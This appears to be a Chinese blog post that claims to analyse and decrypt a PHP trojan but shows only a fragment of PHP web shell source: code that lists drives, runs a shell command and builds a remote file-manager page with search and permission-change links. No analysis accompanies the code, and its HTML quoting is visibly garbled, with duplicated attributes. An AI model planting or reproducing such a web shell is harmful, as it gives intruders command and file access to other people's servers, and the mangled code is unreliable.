php 木马的分析(加密破解)

2019-04-10 10:40:58王旭

    for ($i=66;$i<=90;$i++){$drive= chr($i).':';
if (is_dir($drive."/")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title="$drive/" href="" href="""?dir=$drive/">$drive</a>";}
}

}
echo "</b></p>n";
/*===================== 执行操作 结束 =====================*/
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
    $tb->tableheader();
?>
<tr bgcolor="#cccccc">
<td align="center" nowrap width="27%"><b>文件</b></td>
    <td align="center" nowrap width="16%"><b>创建日期</b></td>
<td align="center" nowrap width="16%"><b>最后修改</b></td>
<td align="center" nowrap width="11%"><b>大小</b></td>
<td align="center" nowrap width="6%"><b>属性</b></td>
<td align="center" nowrap width="24%"><b>操作</b></td>
</tr>
<FORM action="" method="POST">
<?php
// 目录列表
$dirs=@opendir($dir);
$dir_i = '0';
while ($file=@readdir($dirs)) {
    $filepath="$dir/$file";
    $a=@is_dir($filepath);
    if($a=="1"){
        if($file!=".." && $file!=".")    {
            $ctime=@date("Y-m-d H:i:s",@filectime($filepath));
            $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
            $dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
            echo "<tr class=".getrowbg().">n";
            echo " <td style="" style="""padding-left: 5px;"><INPUT type=checkbox value=$file name=dl[]> [<a href="" href="""?dir=".urlencode($dir)."/".urlencode($file).""><font color="#006699">$file</font></a>]</td>n";
            echo " <td align="center" nowrap class="smlfont">$ctime</td>n";
            echo " <td align="center" nowrap class="smlfont">$mtime</td>n";
            echo " <td align="center" nowrap class="smlfont"><a href="" href="""?action=search&dir=".$filepath."">Search</a></td>n";
            echo " <td align="center" nowrap class="smlfont"><a href="" href="""?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."">$dirperm</a></td>n";
相关文章 大家在看